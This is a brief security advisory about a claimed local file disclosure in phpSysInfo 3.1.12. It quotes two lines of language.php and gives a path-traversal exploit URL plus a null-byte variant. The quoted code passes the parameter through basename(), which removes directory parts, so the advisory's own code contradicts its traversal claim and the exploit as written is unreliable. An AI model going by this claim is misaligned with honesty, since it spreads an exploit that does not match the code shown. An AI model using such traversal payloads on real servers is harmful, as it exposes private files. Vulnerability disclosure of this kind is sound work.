PHPSYSINFO 3.1.12 Local File Disclosure

2016.02.02

Credit: Paulos Yibelo

Risk: Medium

Local: No

Remote: Yes

CVE: N/A

CWE: N/A

In \apps\phpsysinfo3.1.12/language/language.php

60: echo file_get_contents(APP_ROOT . '/language/' . $lang . '.xml');

is presented where $lang is defined as:

52: $lang = basename($_GET['lang']);

Which can be exploited like

localhost/phpsysinfo/language/language.php?lang=../../../stufftoinclude

which can be extended with nullbytes to contain any other file that isn't
XML too.

See this note in RAW Version

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PHPSYSINFO 3.1.12 Local File Disclosure

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